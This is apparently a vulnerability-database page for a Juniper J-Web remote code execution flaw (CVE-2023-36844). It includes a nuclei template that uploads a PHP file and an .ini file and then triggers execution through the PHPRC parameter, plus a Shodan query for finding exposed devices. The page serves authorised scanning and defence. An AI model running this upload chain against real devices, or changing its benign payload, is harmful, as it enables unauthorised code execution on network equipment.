HexBrain

Browse / CVEs / CVE-2023-36844

CVE-2023-36844· juniper / srx100· CWE-473

Juniper Devices - Remote Code Execution

Exploited in the wild. Listed by CISA on 2023-11-13; known to be used by ransomware.

mediumseverity
5.3CVSS score
90%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Multiple cves in Juniper Network (CVE-2023-36844|CVE-2023-36845|CVE-2023-36846|CVE-2023-36847).A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environments variables. Utilizing a crafted request an attacker is able to modify certain PHP environments variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Juniper Devices.

Fix

Apply the latest security patches and firmware updates provided by Juniper Networks to mitigate this vulnerability.

How to confirm it

Send: POST /webauth_operation.php ; GET /webauth_operation.php?PHPRC=/var/tmp/{{inifile}}
Positive when: contains in body_2 "\"original_fileName\":" and "\"converted_fileName\":" AND contains in body_3 "{{md5(string)}}"

Run it with nuclei: nuclei -id CVE-2023-36844 -u <target>

The full check
id: CVE-2023-36844

info:
  name: Juniper Devices - Remote Code Execution
  author: princechaddha,ritikchaddha
  severity: medium
  description: |
    Multiple cves in Juniper Network (CVE-2023-36844|CVE-2023-36845|CVE-2023-36846|CVE-2023-36847).A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environments variables. Utilizing a crafted request an attacker is able to modify certain PHP environments variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Juniper Devices.
  remediation: |
    Apply the latest security patches and firmware updates provided by Juniper Networks to mitigate this vulnerability.
  reference:
    - https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
    - https://github.com/watchtowrlabs/juniper-rce_cve-2023-36844
    - https://supportportal.juniper.net/JSA72300
    - http://packetstormsecurity.com/files/174397/Juniper-JunOS-SRX-EX-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-36844
    cwe-id: CWE-473
    epss-score: 0.89958
    epss-percentile: 0.99794
    cpe: cpe:2.3:h:juniper:srx100:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: juniper
    product: srx100
    shodan-query: title:"Juniper Web Device Manager"
  tags: cve2023,cve,packetstorm,juniper,php,rce,intrusive,fileupload,kev,vkev,vuln
variables:
  string: "CVE-2023-36844"
  payload: "('<?php echo md5('{{string}}');unlink(__FILE__);?>')"

http:
  - raw:
      - |
        POST /webauth_operation.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        rs=do_upload&rsargs[]=[{"fileData": "data:text/html;base64,{{base64(payload)}}", "fileName": "{{rand_base(5, "abc")}}.php", "csize": {{len(payload)}}}]
      - |
        POST /webauth_operation.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        rs=do_upload&rsargs[]=[{"fileName": "{{rand_base(5, "abc")}}.ini", "fileData": "data:text/html;base64,{{base64(concat('auto_prepend_file=',hex_decode('22'),'/var/tmp/',phpfile,hex_decode('22')))}}", "csize": "97" }]
      - |
        GET /webauth_operation.php?PHPRC=/var/tmp/{{inifile}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"original_fileName":'
          - '"converted_fileName":'
        condition: and

      - type: word
        part: body_3
        words:
          - '{{md5(string)}}'

    extractors:
      - type: regex
        part: body_1
        name: phpfile
        regex:
          - "([a-f0-9]{64}\\.php)"
        internal: true

      - type: regex
        part: body_2
        name: inifile
        regex:
          - "([a-f0-9]{64}\\.ini)"
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from